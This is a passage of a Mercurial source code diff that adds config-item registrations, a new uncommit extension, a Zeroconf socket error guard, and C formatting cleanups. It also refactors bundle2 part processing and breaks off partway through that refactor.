+    if (util.safehasattr(repo, 'mq') and p2 != nullid
+        and p2 in [x.node for x in repo.mq.applied]):
+        unode = p2
+    elif currentbranch != repo[unode].branch():
+        pwdir = 'parents(wdir())'
+        revset = 'max(((parents(%ln::%r) + %r) - %ln::%r) and branch(%s))'
+        branchtarget = repo.revs(revset, nodes, pwdir, pwdir, nodes, pwdir,
+                                 currentbranch)
+        if branchtarget:
+            cl = repo.changelog
+            unode = cl.node(branchtarget.first())
+
+    return unode
+
 def strip(ui, repo, revs, update=True, backup=True, force=None, bookmarks=None):
     with repo.wlock(), repo.lock():
 
         if update:
             checklocalchanges(repo, force=force)
-            urev, p2 = repo.changelog.parents(revs[0])
-            if (util.safehasattr(repo, 'mq') and
-                p2 != nullid
-                and p2 in [x.node for x in repo.mq.applied]):
-                urev = p2
+            urev = _findupdatetarget(repo, revs)
             hg.clean(repo, urev)
             repo.dirstate.write(repo.currenttransaction())
 
@@ -196,10 +210,7 @@
 
         revs = sorted(rootnodes)
         if update and opts.get('keep'):
-            urev, p2 = repo.changelog.parents(revs[0])
-            if (util.safehasattr(repo, 'mq') and p2 != nullid
-                and p2 in [x.node for x in repo.mq.applied]):
-                urev = p2
+            urev = _findupdatetarget(repo, revs)
             uctx = repo[urev]
 
             # only reset the dirstate for files that would actually change
diff --git a/hgext/transplant.py b/hgext/transplant.py
--- a/hgext/transplant.py
+++ b/hgext/transplant.py
@@ -49,6 +49,16 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('transplant', 'filter',
+    default=None,
+)
+configitem('transplant', 'log',
+    default=None,
+)
+
 class transplantentry(object):
     def __init__(self, lnode, rnode):
         self.lnode = lnode
diff --git a/hgext/uncommit.py b/hgext/uncommit.py
new file mode 100644
--- /dev/null
+++ b/hgext/uncommit.py
@@ -0,0 +1,194 @@
+# uncommit - undo the actions of a commit
+#
+# Copyright 2011 Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
+#                Logilab SA        <contact@logilab.fr>
+#                Pierre-Yves David <pierre-yves.david@ens-lyon.org>
+#                Patrick Mezard <patrick@mezard.eu>
+# Copyright 2016 Facebook, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+"""uncommit part or all of a local changeset (EXPERIMENTAL)
+
+This command undoes the effect of a local commit, returning the affected
+files to their uncommitted state. This means that files modified, added or
+removed in the changeset will be left unchanged, and so will remain modified,
+added and removed in the working directory.
+"""
+
+from __future__ import absolute_import
+
+from mercurial.i18n import _
+
+from mercurial import (
+    cmdutil,
+    commands,
+    context,
+    copies,
+    error,
+    node,
+    obsolete,
+    registrar,
+    scmutil,
+)
+
+cmdtable = {}
+command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('experimental', 'uncommitondirtywdir',
+    default=False,
+)
+
+# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
+# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
+# be specifying the version(s) of Mercurial they are tested with, or
+# leave the attribute unspecified.
+testedwith = 'ships-with-hg-core'
+
+def _commitfiltered(repo, ctx, match, allowempty):
+    """Recommit ctx with changed files not in match. Return the new
+    node identifier, or None if nothing changed.
+    """
+    base = ctx.p1()
+    # ctx
+    initialfiles = set(ctx.files())
+    exclude = set(f for f in initialfiles if match(f))
+
+    # No files matched commit, so nothing excluded
+    if not exclude:
+        return None
+
+    files = (initialfiles - exclude)
+    # return the p1 so that we don't create an obsmarker later
+    if not files and not allowempty:
+        return ctx.parents()[0].node()
+
+    # Filter copies
+    copied = copies.pathcopies(base, ctx)
+    copied = dict((dst, src) for dst, src in copied.iteritems()
+                  if dst in files)
+    def filectxfn(repo, memctx, path, contentctx=ctx, redirect=()):
+        if path not in contentctx:
+            return None
+        fctx = contentctx[path]
+        mctx = context.memfilectx(repo, fctx.path(), fctx.data(),
+                                  fctx.islink(),
+                                  fctx.isexec(),
+                                  copied=copied.get(path))
+        return mctx
+
+    new = context.memctx(repo,
+                         parents=[base.node(), node.nullid],
+                         text=ctx.description(),
+                         files=files,
+                         filectxfn=filectxfn,
+                         user=ctx.user(),
+                         date=ctx.date(),
+                         extra=ctx.extra())
+    # phase handling
+    commitphase = ctx.phase()
+    overrides = {('phases', 'new-commit'): commitphase}
+    with repo.ui.configoverride(overrides, 'uncommit'):
+        newid = repo.commitctx(new)
+    return newid
+
+def _uncommitdirstate(repo, oldctx, match):
+    """Fix the dirstate after switching the working directory from
+    oldctx to a copy of oldctx not containing changed files matched by
+    match.
+    """
+    ctx = repo['.']
+    ds = repo.dirstate
+    copies = dict(ds.copies())
+    s = repo.status(oldctx.p1(), oldctx, match=match)
+    for f in s.modified:
+        if ds[f] == 'r':
+            # modified + removed -> removed
+            continue
+        ds.normallookup(f)
+
+    for f in s.added:
+        if ds[f] == 'r':
+            # added + removed -> unknown
+            ds.drop(f)
+        elif ds[f] != 'a':
+            ds.add(f)
+
+    for f in s.removed:
+        if ds[f] == 'a':
+            # removed + added -> normal
+            ds.normallookup(f)
+        elif ds[f] != 'r':
+            ds.remove(f)
+
+    # Merge old parent and old working dir copies
+    oldcopies = {}
+    for f in (s.modified + s.added):
+        src = oldctx[f].renamed()
+        if src:
+            oldcopies[f] = src[0]
+    oldcopies.update(copies)
+    copies = dict((dst, oldcopies.get(src, src))
+                  for dst, src in oldcopies.iteritems())
+    # Adjust the dirstate copies
+    for dst, src in copies.iteritems():
+        if (src not in ctx or dst in ctx or ds[dst] != 'a'):
+            src = None
+        ds.copy(src, dst)
+
+@command('uncommit',
+    [('', 'keep', False, _('allow an empty commit after uncommiting')),
+    ] + commands.walkopts,
+    _('[OPTION]... [FILE]...'))
+def uncommit(ui, repo, *pats, **opts):
+    """uncommit part or all of a local changeset
+
+    This command undoes the effect of a local commit, returning the affected
+    files to their uncommitted state. This means that files modified or
+    deleted in the changeset will be left unchanged, and so will remain
+    modified in the working directory.
+    """
+
+    with repo.wlock(), repo.lock():
+        wctx = repo[None]
+
+        if not pats and not repo.ui.configbool('experimental',
+                                                'uncommitondirtywdir'):
+            cmdutil.bailifchanged(repo)
+        if wctx.parents()[0].node() == node.nullid:
+            raise error.Abort(_("cannot uncommit null changeset"))
+        if len(wctx.parents()) > 1:
+            raise error.Abort(_("cannot uncommit while merging"))
+        old = repo['.']
+        if not old.mutable():
+            raise error.Abort(_('cannot uncommit public changesets'))
+        if len(old.parents()) > 1:
+            raise error.Abort(_("cannot uncommit merge changeset"))
+        allowunstable = obsolete.isenabled(repo, obsolete.allowunstableopt)
+        if not allowunstable and old.children():
+            raise error.Abort(_('cannot uncommit changeset with children'))
+
+        with repo.transaction('uncommit'):
+            match = scmutil.match(old, pats, opts)
+            newid = _commitfiltered(repo, old, match, opts.get('keep'))
+            if newid is None:
+                ui.status(_("nothing to uncommit\n"))
+                return 1
+
+            mapping = {}
+            if newid != old.p1().node():
+                # Move local changes on filtered changeset
+                mapping[old.node()] = (newid,)
+            else:
+                # Fully removed the old commit
+                mapping[old.node()] = ()
+
+            scmutil.cleanupnodes(repo, mapping, 'uncommit')
+
+            with repo.dirstate.parentchange():
+                repo.dirstate.setparents(newid, node.nullid)
+                _uncommitdirstate(repo, old, match)
diff --git a/hgext/win32mbcs.py b/hgext/win32mbcs.py
--- a/hgext/win32mbcs.py
+++ b/hgext/win32mbcs.py
@@ -54,6 +54,7 @@
     encoding,
     error,
     pycompat,
+    registrar,
 )
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
@@ -62,6 +63,15 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+# Encoding.encoding may be updated by --encoding option.
+# Use a lambda do delay the resolution.
+configitem('win32mbcs', 'encoding',
+    default=lambda: encoding.encoding,
+)
+
 _encoding = None                                # see extsetup
 
 def decode(arg):
@@ -175,12 +185,12 @@
         return
     # determine encoding for filename
     global _encoding
-    _encoding = ui.config('win32mbcs', 'encoding', encoding.encoding)
+    _encoding = ui.config('win32mbcs', 'encoding')
     # fake is only for relevant environment.
     if _encoding.lower() in problematic_encodings.split():
         for f in funcs.split():
             wrapname(f, wrapper)
-        if pycompat.osname == 'nt':
+        if pycompat.iswindows:
             for f in winfuncs.split():
                 wrapname(f, wrapper)
         wrapname("mercurial.util.listdir", wrapperforlistdir)
diff --git a/hgext/win32text.py b/hgext/win32text.py
--- a/hgext/win32text.py
+++ b/hgext/win32text.py
@@ -49,6 +49,7 @@
     short,
 )
 from mercurial import (
+    registrar,
     util,
 )
 
@@ -58,6 +59,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('win32text', 'warn',
+    default=True,
+)
+
 # regexp for single LF without CR preceding.
 re_single_lf = re.compile('(^|[^\r])\n', re.MULTILINE)
 
@@ -178,6 +186,6 @@
 
 def extsetup(ui):
     # deprecated config: win32text.warn
-    if ui.configbool('win32text', 'warn', True):
+    if ui.configbool('win32text', 'warn'):
         ui.warn(_("win32text is deprecated: "
                   "https://mercurial-scm.org/wiki/Win32TextExtension\n"))
diff --git a/hgext/zeroconf/Zeroconf.py b/hgext/zeroconf/Zeroconf.py
--- a/hgext/zeroconf/Zeroconf.py
+++ b/hgext/zeroconf/Zeroconf.py
@@ -80,6 +80,7 @@
 __email__ = "paul at scott dash murphy dot com"
 __version__ = "0.12"
 
+import errno
 import itertools
 import select
 import socket
@@ -937,7 +938,16 @@
         self.zeroconf.engine.addReader(self, self.zeroconf.socket)
 
     def handle_read(self):
-        data, (addr, port) = self.zeroconf.socket.recvfrom(_MAX_MSG_ABSOLUTE)
+        data = addr = port = None
+        sock = self.zeroconf.socket
+        try:
+            data, (addr, port) = sock.recvfrom(_MAX_MSG_ABSOLUTE)
+        except socket.error as e:
+            if e.errno == errno.EBADF:
+                # some other thread may close the socket
+                return
+            else:
+                raise
         self.data = data
         msg = DNSIncoming(data)
         if msg.isQuery():
diff --git a/hgext/zeroconf/__init__.py b/hgext/zeroconf/__init__.py
--- a/hgext/zeroconf/__init__.py
+++ b/hgext/zeroconf/__init__.py
@@ -127,7 +127,9 @@
         with app._obtainrepo() as repo:
             name = app.reponame or os.path.basename(repo.root)
             path = repo.ui.config("web", "prefix", "").strip('/')
-            desc = repo.ui.config("web", "description", name)
+            desc = repo.ui.config("web", "description")
+            if not desc:
+                desc = name
         publish(name, desc, path, port)
     else:
         # webdir
@@ -137,7 +139,9 @@
             u.readconfig(os.path.join(path, '.hg', 'hgrc'))
             name = os.path.basename(repo)
             path = (prefix + repo).strip('/')
-            desc = u.config('web', 'description', name)
+            desc = u.config('web', 'description')
+            if not desc:
+                desc = name
             publish(name, desc, path, port)
     return httpd
 
diff --git a/i18n/check-translation.py b/i18n/check-translation.py
--- a/i18n/check-translation.py
+++ b/i18n/check-translation.py
@@ -1,9 +1,11 @@
 #!/usr/bin/env python
 #
 # check-translation.py - check Mercurial specific translation problems
+from __future__ import absolute_import
+
+import re
 
 import polib
-import re
 
 scanners = []
 checkers = []
@@ -51,7 +53,7 @@
     ...     msgstr='prompt  missing &sep$$missing  amp$$followed by none&')
     >>> match(promptchoice, pe)
     True
-    >>> for e in promptchoice(pe): print e
+    >>> for e in promptchoice(pe): print(e)
     number of choices differs between msgid and msgstr
     msgstr has invalid choice missing '&'
     msgstr has invalid '&' followed by none
@@ -88,19 +90,19 @@
     ...     msgstr= 'something (DEPRECATED)')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED)',
     ...     msgstr= 'something (DETACERPED)')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED)',
     ...     msgstr= 'something')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     msgstr inconsistently translated (DEPRECATED)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED, foo bar)',
@@ -124,16 +126,16 @@
     >>> pe = polib.POEntry(
     ...     msgid ='ends with ::',
     ...     msgstr='ends with ::')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid ='ends with ::',
     ...     msgstr='ends without double-colons')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     tail '::'-ness differs between msgid and msgstr
     >>> pe = polib.POEntry(
     ...     msgid ='ends without double-colons',
     ...     msgstr='ends with ::')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     tail '::'-ness differs between msgid and msgstr
     """
     if pe.msgid.endswith('::') != pe.msgstr.endswith('::'):
@@ -149,7 +151,7 @@
     >>> pe = polib.POEntry(
     ...     msgid ='    indented text',
     ...     msgstr='  narrowed indentation')
-    >>> for e in indentation(pe): print e
+    >>> for e in indentation(pe): print(e)
     initial indentation width differs betweeen msgid and msgstr
     """
     idindent = len(pe.msgid) - len(pe.msgid.lstrip())
diff --git a/i18n/de.po b/i18n/de.po
--- a/i18n/de.po
+++ b/i18n/de.po
@@ -9746,8 +9746,8 @@
 
 #. i18n: column positioning for "hg log"
 #, python-format
-msgid "changeset:   %d:%s\n"
-msgstr "Änderung:        %d:%s\n"
+msgid "changeset:   %s\n"
+msgstr "Änderung:        %s\n"
 
 #. i18n: column positioning for "hg log"
 #, python-format
@@ -9771,8 +9771,8 @@
 
 #. i18n: column positioning for "hg log"
 #, python-format
-msgid "parent:      %d:%s\n"
-msgstr "Vorgänger:       %d:%s\n"
+msgid "parent:      %s\n"
+msgstr "Vorgänger:       %s\n"
 
 #. i18n: column positioning for "hg log"
 #, python-format
diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -24,6 +24,7 @@
 
 import inspect
 import os
+import re
 import sys
 
 
@@ -60,9 +61,15 @@
             'msgid %s\n' % normalize(s) +
             'msgstr ""\n')
 
+doctestre = re.compile(r'^ +>>> ', re.MULTILINE)
 
 def offset(src, doc, name, default):
     """Compute offset or issue a warning on stdout."""
+    # remove doctest part, in order to avoid backslash mismatching
+    m = doctestre.search(doc)
+    if m:
+        doc = doc[:m.start()]
+
     # Backslashes in doc appear doubled in src.
     end = src.find(doc.replace('\\', '\\\\'))
     if end == -1:
@@ -96,7 +103,7 @@
     only extract docstrings from functions mentioned in these tables.
     """
     mod = importpath(path)
-    if mod.__doc__:
+    if not path.startswith('mercurial/') and mod.__doc__:
         src = open(path).read()
         lineno = 1 + offset(src, mod.__doc__, path, 7)
         print(poentry(path, lineno, mod.__doc__))
@@ -112,6 +119,8 @@
 
     for func, rstrip in functions:
         if func.__doc__:
+            docobj = func # this might be a proxy to provide formatted doc
+            func = getattr(func, '_origfunc', func)
             funcmod = inspect.getmodule(func)
             extra = ''
             if funcmod.__package__ == funcmod.__name__:
@@ -121,10 +130,15 @@
             src = inspect.getsource(func)
             name = "%s.%s" % (actualpath, func.__name__)
             lineno = inspect.getsourcelines(func)[1]
-            doc = func.__doc__
+            doc = docobj.__doc__
+            origdoc = getattr(docobj, '_origdoc', '')
             if rstrip:
                 doc = doc.rstrip()
-            lineno += offset(src, doc, name, 1)
+                origdoc = origdoc.rstrip()
+            if origdoc:
+                lineno += offset(src, origdoc, name, 1)
+            else:
+                lineno += offset(src, doc, name, 1)
             print(poentry(actualpath, lineno, doc))
 
 
diff --git a/mercurial/__init__.py b/mercurial/__init__.py
--- a/mercurial/__init__.py
+++ b/mercurial/__init__.py
@@ -34,6 +34,9 @@
             # selectors2 is already dual-version clean, don't try and mangle it
             if fullname.startswith('mercurial.selectors2'):
                 return None
+            # third-party packages are expected to be dual-version clean
+            if fullname.startswith('mercurial.thirdparty'):
+                return None
             # zstd is already dual-version clean, don't try and mangle it
             if fullname.startswith('mercurial.zstd'):
                 return None
diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -9,17 +9,17 @@
  Based roughly on Python difflib
 */
 
+#include <limits.h>
 #include <stdlib.h>
 #include <string.h>
-#include <limits.h>
 
+#include "bdiff.h"
+#include "bitmanipulation.h"
 #include "compat.h"
-#include "bitmanipulation.h"
-#include "bdiff.h"
 
 /* Hash implementation from diffutils */
 #define ROL(v, n) ((v) << (n) | (v) >> (sizeof(v) * CHAR_BIT - (n)))
-#define HASH(h, c) ((c) + ROL(h ,7))
+#define HASH(h, c) ((c) + ROL(h, 7))
 
 struct pos {
 	int pos, len;
@@ -30,7 +30,7 @@
 	unsigned hash;
 	int i;
 	const char *p, *b = a;
-	const char * const plast = a + len - 1;
+	const char *const plast = a + len - 1;
 	struct bdiff_line *l;
 
 	/* count the lines */
@@ -79,11 +79,12 @@
 
 static inline int cmp(struct bdiff_line *a, struct bdiff_line *b)
 {
-	return a->hash != b->hash || a->len != b->len || memcmp(a->l, b->l, a->len);
+	return a->hash != b->hash || a->len != b->len ||
+	       memcmp(a->l, b->l, a->len);
 }
 
 static int equatelines(struct bdiff_line *a, int an, struct bdiff_line *b,
-	int bn)
+                       int bn)
 {
 	int i, j, buckets = 1, t, scale;
 	struct pos *h = NULL;
@@ -149,8 +150,8 @@
 }
 
 static int longest_match(struct bdiff_line *a, struct bdiff_line *b,
-			struct pos *pos,
-			 int a1, int a2, int b1, int b2, int *omi, int *omj)
+                         struct pos *pos, int a1, int a2, int b1, int b2,
+                         int *omi, int *omj)
 {
 	int mi = a1, mj = b1, mk = 0, i, j, k, half, bhalf;
 
@@ -211,8 +212,7 @@
 	}
 
 	/* expand match to include subsequent popular lines */
-	while (mi + mk < a2 && mj + mk < b2 &&
-	       a[mi + mk].e == b[mj + mk].e)
+	while (mi + mk < a2 && mj + mk < b2 && a[mi + mk].e == b[mj + mk].e)
 		mk++;
 
 	*omi = mi;
@@ -222,8 +222,8 @@
 }
 
 static struct bdiff_hunk *recurse(struct bdiff_line *a, struct bdiff_line *b,
-				struct pos *pos,
-			    int a1, int a2, int b1, int b2, struct bdiff_hunk *l)
+                                  struct pos *pos, int a1, int a2, int b1,
+                                  int b2, struct bdiff_hunk *l)
 {
 	int i, j, k;
 
@@ -238,7 +238,8 @@
 		if (!l)
 			return NULL;
 
-		l->next = (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
+		l->next =
+		    (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
 		if (!l->next)
 			return NULL;
 
@@ -255,8 +256,8 @@
 	}
 }
 
-int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b,
-		int bn, struct bdiff_hunk *base)
+int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b, int bn,
+               struct bdiff_hunk *base)
 {
 	struct bdiff_hunk *curr;
 	struct pos *pos;
@@ -274,7 +275,8 @@
 			return -1;
 
 		/* sentinel end hunk */
-		curr->next = (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
+		curr->next =
+		    (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
 		if (!curr->next)
 			return -1;
 		curr = curr->next;
@@ -293,10 +295,9 @@
 			break;
 
 		if (curr->a2 == next->a1 || curr->b2 == next->b1)
-			while (curr->a2 < an && curr->b2 < bn
-			       && next->a1 < next->a2
-			       && next->b1 < next->b2
-			       && !cmp(a + curr->a2, b + curr->b2)) {
+			while (curr->a2 < an && curr->b2 < bn &&
+			       next->a1 < next->a2 && next->b1 < next->b2 &&
+			       !cmp(a + curr->a2, b + curr->b2)) {
 				curr->a2++;
 				next->a1++;
 				curr->b2++;
@@ -317,5 +318,3 @@
 		free(l);
 	}
 }
-
-
diff --git a/mercurial/bdiff.h b/mercurial/bdiff.h
--- a/mercurial/bdiff.h
+++ b/mercurial/bdiff.h
@@ -1,6 +1,8 @@
 #ifndef _HG_BDIFF_H_
 #define _HG_BDIFF_H_
 
+#include "compat.h"
+
 struct bdiff_line {
 	int hash, n, e;
 	ssize_t len;
@@ -15,7 +17,7 @@
 
 int bdiff_splitlines(const char *a, ssize_t len, struct bdiff_line **lr);
 int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b, int bn,
-	struct bdiff_hunk *base);
+               struct bdiff_hunk *base);
 void bdiff_freehunks(struct bdiff_hunk *l);
 
 #endif
diff --git a/mercurial/bitmanipulation.h b/mercurial/bitmanipulation.h
--- a/mercurial/bitmanipulation.h
+++ b/mercurial/bitmanipulation.h
@@ -9,26 +9,21 @@
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 24) |
-		(d[1] << 16) |
-		(d[2] << 8) |
-		(d[3]));
+	return ((d[0] << 24) | (d[1] << 16) | (d[2] << 8) | (d[3]));
 }
 
 static inline int16_t getbeint16(const char *c)
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 8) |
-		(d[1]));
+	return ((d[0] << 8) | (d[1]));
 }
 
 static inline uint16_t getbeuint16(const char *c)
 {
 	const unsigned char *d = (const unsigned char *)c;
 
-	return ((d[0] << 8) |
-		(d[1]));
+	return ((d[0] << 8) | (d[1]));
 }
 
 static inline void putbe32(uint32_t x, char *c)
@@ -36,7 +31,7 @@
 	c[0] = (x >> 24) & 0xff;
 	c[1] = (x >> 16) & 0xff;
 	c[2] = (x >> 8) & 0xff;
-	c[3] = (x) & 0xff;
+	c[3] = (x)&0xff;
 }
 
 static inline double getbefloat64(const char *c)
@@ -46,7 +41,7 @@
 	int i;
 	uint64_t t = 0;
 	for (i = 0; i < 8; i++) {
-		t = (t<<8) + d[i];
+		t = (t << 8) + d[i];
 	}
 	memcpy(&ret, &t, sizeof(t));
 	return ret;
diff --git a/mercurial/bookmarks.py b/mercurial/bookmarks.py
--- a/mercurial/bookmarks.py
+++ b/mercurial/bookmarks.py
@@ -846,3 +846,12 @@
 
         bmarks[bmark] = (n, prefix, label)
     _printbookmarks(ui, repo, bmarks, **opts)
+
+def preparehookargs(name, old, new):
+    if new is None:
+        new = ''
+    if old is None:
+        old = ''
+    return {'bookmark': name,
+            'node': hex(new),
+            'oldnode': hex(old)}
diff --git a/mercurial/branchmap.py b/mercurial/branchmap.py
--- a/mercurial/branchmap.py
+++ b/mercurial/branchmap.py
@@ -211,10 +211,13 @@
         Raise KeyError for unknown branch.'''
         return self._branchtip(self[branch])[0]
 
+    def iteropen(self, nodes):
+        return (n for n in nodes if n not in self._closednodes)
+
     def branchheads(self, branch, closed=False):
         heads = self[branch]
         if not closed:
-            heads = [h for h in heads if h not in self._closednodes]
+            heads = list(self.iteropen(heads))
         return heads
 
     def iterbranches(self):
@@ -248,9 +251,8 @@
                         'wrote %s branch cache with %d labels and %d nodes\n',
                         repo.filtername, len(self), nodecount)
         except (IOError, OSError, error.Abort) as inst:
+            # Abort may be raised by read only opener, so log and continue
             repo.ui.debug("couldn't write branch cache: %s\n" % inst)
-            # Abort may be raise by read only opener
-            pass
 
     def update(self, repo, revgen):
         """Given a branchhead cache, self, that may have extra nodes or be
diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -145,7 +145,7 @@
 preserve.
 """
 
-from __future__ import absolute_import
+from __future__ import absolute_import, division
 
 import errno
 import re
@@ -157,6 +157,7 @@
 from . import (
     changegroup,
     error,
+    node as nodemod,
     obsolete,
     phases,
     pushkey,
@@ -179,8 +180,6 @@
 _fpayloadsize = '>i'
 _fpartparamcount = '>BB'
 
-_fphasesentry = '>i20s'
-
 preferedchunksize = 4096
 
 _parttypeforbidden = re.compile('[^a-zA-Z0-9_:-]')
@@ -296,9 +295,31 @@
         self.repo = repo
         self.ui = repo.ui
         self.records = unbundlerecords()
-        self.gettransaction = transactiongetter
         self.reply = None
         self.captureoutput = captureoutput
+        self.hookargs = {}
+        self._gettransaction = transactiongetter
+
+    def gettransaction(self):
+        transaction = self._gettransaction()
+
+        if self.hookargs:
+            # the ones added to the transaction supercede those added
+            # to the operation.
+            self.hookargs.update(transaction.hookargs)
+            transaction.hookargs = self.hookargs
+
+        # mark the hookargs as flushed.  further attempts to add to
+        # hookargs will result in an abort.
+        self.hookargs = None
+
+        return transaction
+
+    def addhookargs(self, hookargs):
+        if self.hookargs is None:
+            raise error.ProgrammingError('attempted to add hookargs to '
+                                         'operation after transaction started')
+        self.hookargs.update(hookargs)
 
 class TransactionUnavailable(RuntimeError):
     pass
@@ -325,6 +346,74 @@
         _processchangegroup(op, unbundler, tr, source, url, **kwargs)
         return op
 
+class partiterator(object):
+    def __init__(self, repo, op, unbundler):
+        self.repo = repo
+        self.op = op
+        self.unbundler = unbundler
+        self.iterator = None
+        self.count = 0
+        self.current = None
+
+    def __enter__(self):
+        def func():
+            itr = enumerate(self.unbundler.iterparts())
+            for count, p in itr:
+                self.count = count
+                self.current = p
+                yield p
+                p.seek(0, 2)
+                self.current = None
+        self.iterator = func()
+        return self.iterator
+
+    def __exit__(self, type, exc, tb):
+        if not self.iterator:
+            return
+
+        # Only gracefully abort in a normal exception situation. User aborts
+        # like Ctrl+C throw a KeyboardInterrupt which is not a base Exception,
+        # and should not gracefully cleanup.
+        if isinstance(exc, Exception):
+            # Any exceptions seeking to the end of the bundle at this point are
+            # almost certainly related to the underlying stream being bad.
+            # And, chances are that the exception we're handling is related to
+            # getting in that bad state. So, we swallow the seeking error and
+            # re-raise the original error.
+            seekerror = False
+            try:
+                if self.current:
+                    # consume the part content to not corrupt the stream.
+                    self.current.seek(0, 2)
+
+                for part in self.iterator:
+                    # consume the bundle content
+                    part.seek(0, 2)
+            except Exception:
+                seekerror = True
+
+            # Small hack to let caller code distinguish exceptions from bundle2
+            # processing from processing the old format. This is mostly needed
+            # to handle different return codes to unbundle according to the type
+            # of bundle. We should probably clean up or drop this return code
+            # craziness in a future version.
+            exc.duringunbundle2 = True
+            salvaged = []
+            replycaps = None
+            if self.op.reply is not None:
+                salvaged = self.op.reply.salvageoutput()
+                replycaps = self.op.reply.capabilities
+            exc._replycaps = replycaps
+            exc._bundle2salvagedoutput = salvaged
+
+            # Re-raising from a variable loses the original stack. So only use
+            # that form if we need to.
+            if seekerror:
+                raise exc
+
+        self.repo.ui.debug('bundle2-input-bundle: %i parts total\n' %
+                           self.count)
+
 def processbundle(repo, unbundler, transactiongetter=None, op=None):
     """This function process a bundle, apply effect to/from a repo
 
@@ -350,57 +439,22 @@
         msg = ['bundle2-input-bundle:']
         if unbundler.params:
             msg.append(' %i params' % len(unbundler.params))
-        if op.gettransaction is None or op.gettransaction is _notransaction:
+        if op._gettransaction is None or op._gettransaction is _notransaction:
             msg.append(' no-transaction')
         else:
             msg.append(' with-transaction')
         msg.append('\n')
         repo.ui.debug(''.join(msg))
-    iterparts = enumerate(unbundler.iterparts())
-    part = None
-    nbpart = 0
-    try:
-        for nbpart, part in iterparts:
-            _processpart(op, part)
-    except Exception as exc:
-        # Any exceptions seeking to the end of the bundle at this point are
-        # almost certainly related to the underlying stream being bad.
-        # And, chances are that the exception we're handling is related to
-        # getting in that bad state. So, we swallow the seeking error and
-        # re-raise the original error.
-        seekerror = False
-        try:
-            for nbpart, part in iterparts:
-                # consume the bundle content
-                part.seek(0, 2)
-        except Exception:
-            seekerror = True
 
-        # Small hack to let caller code distinguish exceptions from bundle2
-        # processing from processing the old format. This is mostly
-        # needed to handle different return codes to unbundle according to the
-        # type of bundle. We should probably clean up or drop this return code
-        # craziness in a future version.
-        exc.duringunbundle2 = True
-        salvaged = []
-        replycaps = None
-        if op.reply is not None:
-            salvaged = op.reply.salvageoutput()
-            replycaps = op.reply.capabilities
-        exc._replycaps = replycaps
-        exc._bundle2salvagedoutput = salvaged
-
-        # Re-raising from a variable loses the original stack. So only use
-        # that form if we need to.
-        if seekerror:
-            raise exc
-        else:
-            raise
-    finally:
-        repo.ui.debug('bundle2-input-bundle: %i parts total\n' % nbpart)
+    processparts(repo, op, unbundler)
 
     return op
 
+def processparts(repo, op, unbundler):
+    with partiterator(repo, op, unbundler) as parts:
+        for part in parts:
+            _processpart(op, part)
+
 def _processchangegroup(op, cg, tr, source, url, **kwargs):
     ret = cg.apply(op.repo, tr, source, url, **kwargs)
     op.records.add('changegroup', {
@@ -408,77 +462,73 @@
     })
     return ret
 
+def _gethandler(op, part):
+    status = 'unknown' # used by debug output
+    try:
+        handler = parthandlermapping.get(part.type)
+        if handler is None:
+            status = 'unsupported-type'
+            raise error.BundleUnknownFeatureError(parttype=part.type)
+        indebug(op.ui, 'found a handler for part %s' % part.type)
+        unknownparams = part.mandatorykeys - handler.params
+        if unknownparams:
+            unknownparams = list(unknownparams)
+            unknownparams.sort()
+            status = 'unsupported-params (%s)' % ', '.join(unknownparams)
+            raise error.BundleUnknownFeatureError(parttype=part.type,
+                                                  params=unknownparams)
+        status = 'supported'
+    except error.BundleUnknownFeatureError as exc:
+        if part.mandatory: # mandatory parts
+            raise
+        indebug(op.ui, 'ignoring unsupported advisory part %s' % exc)
+        return # skip to part processing
+    finally:
+        if op.ui.debugflag:
+            msg = ['bundle2-input-part: "%s"' % part.type]
+            if not part.mandatory:
+                msg.append(' (advisory)')
+            nbmp = len(part.mandatorykeys)
+            nbap = len(part.params) - nbmp
+            if nbmp or nbap:
+                msg.append(' (params:')
+                if nbmp:
+                    msg.append(' %i mandatory' % nbmp)
+                if nbap:
+                    msg.append(' %i advisory' % nbmp)
+                msg.append(')')
+            msg.append(' %s\n' % status)
